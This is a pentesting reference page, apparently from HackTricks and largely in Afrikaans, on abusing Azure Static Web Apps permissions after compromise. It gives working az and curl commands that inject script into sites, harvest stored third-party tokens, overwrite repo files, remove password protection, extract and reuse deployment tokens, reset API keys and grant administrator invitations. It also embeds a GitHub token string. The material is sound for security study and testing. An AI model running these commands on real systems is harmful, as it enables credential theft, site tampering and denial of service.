# Az - Static Web Apps Post Exploitation

{{#include ../../../banners/hacktricks-training.md}}

## Azure Static Web Apps

For more information about this service check:

{{#ref}}
../az-services/az-static-web-apps.md
{{#endref}}

### Microsoft.Web/staticSites/snippets/write

Dit is moontlik om ’n static web page te laat laai arbitrêre HTML deur ’n snippet te skep. Dit kan ’n aanvaller toelaat om JS code in die web app in te spuit en sensitiewe inligting soos credentials of mnemonic keys (in web3 wallets) te steel.

Die volgende opdrag skep ’n snippet wat altyd deur die web app gelaai sal word::
```bash
az rest \
--method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/snippets/<snippet-name>?api-version=2022-03-01" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"name": "supersnippet",
"location": "Body",
"applicableEnvironmentsMode": "AllEnvironments",
"content": "PHNjcmlwdD4KYWxlcnQoIkF6dXJlIFNuaXBwZXQiKQo8L3NjcmlwdD4K",
"environments": [],
"insertBottom": false
}
}'
```
### Lees Gekonfigureerde Derdeparty-referensies

Soos verduidelik in die App Service-afdeling:

{{#ref}}
../az-privilege-escalation/az-app-services-privesc.md
{{#endref}}

Deur die volgende opdrag uit te voer is dit moontlik om **die derdeparty-referensies te lees** wat in die huidige rekening gekonfigureer is. Let daarop dat as byvoorbeeld sekere Github-referensies in 'n ander gebruiker gekonfigureer is, jy nie toegang tot die token van daardie ander gebruiker sal hê nie.
```bash
az rest --method GET \
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
```
Hierdie opdrag gee tokens terug vir Github, Bitbucket, Dropbox en OneDrive.

Hier is 'n paar opdragvoorbeelde om die tokens te kontroleer:
```bash
# GitHub – List Repositories
curl -H "Authorization: token <token>" \
-H "Accept: application/vnd.github.v3+json" \
https://api.github.com/user/repos

# Bitbucket – List Repositories
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://api.bitbucket.org/2.0/repositories

# Dropbox – List Files in Root Folder
curl -X POST https://api.dropboxapi.com/2/files/list_folder \
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
--data '{"path": ""}'

# OneDrive – List Files in Root Folder
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://graph.microsoft.com/v1.0/me/drive/root/children
```
### Oorskryf lêer - Oorskryf routes, HTML, JS...

Dit is moontlik om 'n **lêer binne die Github repo te oorskryf** wat die app bevat deurdat Azure die **Github token** het en 'n versoek stuur soos die volgende, wat die pad van die lêer wat oorskryf moet word, die inhoud van die lêer en die commit-boodskap sal aandui.

Hierdie kan deur aanvalers misbruik word om basies die **inhoud van die web app te verander** om kwaadaardige inhoud (inlogbesonderhede, mnemonic-sleutels...) te lewer of net om sekere paaie na hul eie bedieners te **herlei** deur die `staticwebapp.config.json`-lêer te oorskryf.

> [!WARNING]
> Let daarop dat as 'n aanvaller daarin slaag om die Github repo op enige wyse te kompromitteer, kan hulle die lêer ook direk vanaf Github oorskryf.
```bash
curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
-H "Content-Type: application/json" \
-d '{
"commit": {
"message": "Update static web app route configuration",
"branchName": "main",
"committer": {
"name": "Azure App Service",
"email": "donotreply@microsoft.com"
},
"contentBase64Encoded": "ewogICJuYXZpZ2F0aW9uRmFsbGJhY2siOiB7CiAgICAicmV3cml0ZSI6ICIvaW5kZXguaHRtbCIKICB9LAogICJyb3V0ZXMiOiBbCiAgICB7CiAgICAgICJyb3V0ZSI6ICIvcHJvZmlsZSIsCiAgICAgICJtZXRob2RzIjogWwogICAgICAgICJnZXQiLAogICAgICAgICJoZWFkIiwKICAgICAgICAicG9zdCIKICAgICAgXSwKICAgICAgInJld3JpdGUiOiAiL3AxIiwKICAgICAgInJlZGlyZWN0IjogIi9sYWxhbGEyIiwKICAgICAgInN0YXR1c0NvZGUiOiAzMDEsCiAgICAgICJhbGxvd2VkUm9sZXMiOiBbCiAgICAgICAgImFub255bW91cyIKICAgICAgXQogICAgfQogIF0KfQ==",
"filePath": "staticwebapp.config.json",
"message": "Update static web app route configuration",
"repoName": "carlospolop/my-first-static-web-app",
"sha": "4b6165d0ad993a5c705e8e9bb23b778dff2f9ca4"
},
"gitHubToken": "gho_1OSsm834ai863yKkdwHGj31927PCFk44BAXL"
}'
```
### Microsoft.Web/staticSites/config/write

Met hierdie toestemming is dit moontlik om **die wagwoord te wysig** wat 'n static web app beskerm of selfs elke omgewing onbeskerm te maak deur 'n versoek te stuur soos die volgende:
```bash
# Change password
az rest --method put \
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
--headers 'Content-Type=application/json' \
--body '{
"name": "basicAuth",
"type": "Microsoft.Web/staticSites/basicAuth",
"properties": {
"password": "SuperPassword123.",
"secretUrl": "",
"applicableEnvironmentsMode": "AllEnvironments"
}
}'



# Remove the need of a password
az rest --method put \
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
--headers 'Content-Type=application/json' \
--body '{
"name": "basicAuth",
"type": "Microsoft.Web/staticSites/basicAuth",
"properties": {
"secretUrl": "",
"applicableEnvironmentsMode": "SpecifiedEnvironments",
"secretState": "None"
}
}'
```
### Microsoft.Web/staticSites/listSecrets/action

Hierdie toestemming laat toe om die **API key deployment token** vir die static app te kry.

Gebruik az rest:
```bash
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/listSecrets?api-version=2023-01-01"
```
Gebruik AzCLI:
```bash
az staticwebapp secrets list --name <appname> --resource-group <RG>
```
Dan, om **'n app by te werk met die token** kan jy die volgende opdrag uitvoer. Let daarop dat hierdie opdrag onttrek is deur te kyk hoe die Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy) werk, aangesien dit die een is wat Azure standaard ingestel het om te gebruik. Dus kan die image en parameters in die toekoms verander.

> [!TIP]
> Om die app te ontplooi kan jy die **`swa`** gereedskap van [https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token](https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token) gebruik of die volgende basiese stappe volg:

1. Laai die repo [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) (of enige ander repo wat jy wil ontplooi) af en voer `cd react-basic` uit.
2. Verander die kode wat jy wil ontplooi
3. Ontplooi dit deur die volgende uit te voer (Onthou om die `<api-token>` te verander):
```bash
docker run --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN=<api-token> INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose
```
> [!WARNING]
> Selfs al het jy die token sal jy nie die app kan ontplooi nie as die **Deployment Authorization Policy** op **Github** gestel is. Om die token te gebruik benodig jy die toestemming `Microsoft.Web/staticSites/write` om die deployment-metode te verander sodat dit die API-token gebruik.

### Microsoft.Web/staticSites/write

Met hierdie toestemming is dit moontlik om die **bron van die static web app na 'n ander Github repository te verander**, maar dit sal nie outomaties geprovisioneer word nie aangesien dit vanuit 'n Github Action gedoen moet word.

As die **Deployment Authorization Policy** op **Github** gestel is, is dit moontlik om **die app vanaf die nuwe bron-repository op te dateer!**

As die **Deployment Authorization Policy** nie op **Github** gestel is nie, kan jy dit verander met dieselfde toestemming `Microsoft.Web/staticSites/write`.
```bash
# Change the source to a different Github repository
az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main

# Update the deployment method to Github
az rest --method PATCH \
--url "https://management.azure.com/subscriptions/<subscription-id>>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>?api-version=2022-09-01" \
--headers 'Content-Type=application/json' \
--body '{
"properties": {
"allowConfigFileUpdates": true,
"stagingEnvironmentPolicy": "Enabled",
"buildProperties": {
"appLocation": "/",
"apiLocation": "",
"appArtifactLocation": "build"
},
"deploymentAuthPolicy": "GitHub",
"repositoryToken": "<github_token>" # az rest --method GET --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
}
}'
```
Voorbeeld Github Action om die app te ontplooi:
```yaml
name: Azure Static Web Apps CI/CD

on:
push:
branches:
- main
pull_request:
types: [opened, synchronize, reopened, closed]
branches:
- main

jobs:
build_and_deploy_job:
if: github.event_name == 'push' || (github.event_name == 'pull_request' && github.event.action != 'closed')
runs-on: ubuntu-latest
name: Build and Deploy Job
permissions:
id-token: write
contents: read
steps:
- uses: actions/checkout@v3
with:
submodules: true
lfs: false
- name: Install OIDC Client from Core Package
run: npm install @actions/core@1.6.0 @actions/http-client
- name: Get Id Token
uses: actions/github-script@v6
id: idtoken
with:
script: |
const coredemo = require('@actions/core')
return await coredemo.getIDToken()
result-encoding: string
- name: Build And Deploy
id: builddeploy
uses: Azure/static-web-apps-deploy@v1
with:
azure_static_web_apps_api_token: "12345cbb198a77a092ff885782a62a15d5aef5e3654cac1234509ab54547270704-4140ccee-e04f-424f-b4ca-3d4dd123459c00f0702071d12345" # A valid formatted token is needed although it won't be used for authentication
action: "upload"
###### Repository/Build Configurations - These values can be configured to match your app requirements. ######
# For more information regarding Static Web App workflow configurations, please visit: https://aka.ms/swaworkflowconfig
app_location: "/" # App source code path
api_location: "" # Api source code path - optional
output_location: "build" # Built app content directory - optional
github_id_token: ${{ steps.idtoken.outputs.result }}
###### End of Repository/Build Configurations ######

close_pull_request_job:
if: github.event_name == 'pull_request' && github.event.action == 'closed'
runs-on: ubuntu-latest
name: Close Pull Request Job
steps:
- name: Close Pull Request
id: closepullrequest
uses: Azure/static-web-apps-deploy@v1
with:
action: "close"
```
### Microsoft.Web/staticSites/resetapikey/action

Met hierdie toestemming is dit moontlik om die **API key van die static web app te reset**, wat moontlik die werkstrome wat die app outomaties ontplooi, kan DoSing.
```bash
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/resetapikey?api-version=2019-08-01"
```
### Microsoft.Web/staticSites/createUserInvitation/action

Hierdie toestemming laat toe om 'n uitnodiging aan 'n gebruiker te **skep** om toegang te verkry tot beskermde paadjies binne 'n static web app met 'n spesifieke gegewe rol.

Die aanmelding is geleë in 'n pad soos `/.auth/login/github` vir github of `/.auth/login/aad` vir Entra ID, en 'n gebruiker kan uitgenooi word met die volgende opdrag:
```bash
az staticwebapp users invite \
--authentication-provider Github # AAD, Facebook, GitHub, Google, Twitter \
--domain mango-beach-071d9340f.4.azurestaticapps.net # Domain of the app \
--invitation-expiration-in-hours 168 # 7 days is max \
--name my-first-static-web-app # Name of the app\
--roles "contributor,administrator" # Comma sepparated list of roles\
--user-details username # Github username in this case\
--resource-group Resource_Group_1 # Resource group of the app
```
### Pull Requests

Standaard word Pull Requests van 'n tak in dieselfde repo outomaties saamgestel en in 'n staging-omgewing gebou. Dit kan misbruik word deur 'n aanvaller met skryftoegang tot die repo, maar wat nie die takbeskermings van die produksietak (gewoonlik `main`) kan omseil nie, om **'n kwaadwillige weergawe van die app te ontplooi** in die staging-URL.

Die staging-URL het hierdie formaat: `https://<app-subdomain>-<PR-num>.<region>.<res-of-app-domain>` soos: `https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net`

> [!TIP]
> Let wel dat eksterne PRs standaard nie workflows sal laat loop nie, tensy hulle ten minste 1 PR in die repo gemerg het. 'n Aanvaller kan eers 'n geldige PR na die repo stuur en **dan 'n kwaadwillige PR** stuur om die kwaadwillige app in die staging-omgewing te ontplooi. EGTER, daar is 'n onverwagte beskerming: die standaard Github Action om in die static web app te deploy het toegang tot die secret nodig wat die deployment token bevat (soos `secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F`) selfs al word die deployment met die IDToken gedoen. Dit beteken dat omdat 'n eksterne PR nie toegang tot hierdie secret sal hê nie en 'n eksterne PR nie die Workflow kan verander om hier 'n arbitrêre token te plaas sonder dat 'n PR aanvaar word nie, **sal hierdie aanval nie regtig werk nie**.

{{#include ../../../banners/hacktricks-training.md}}
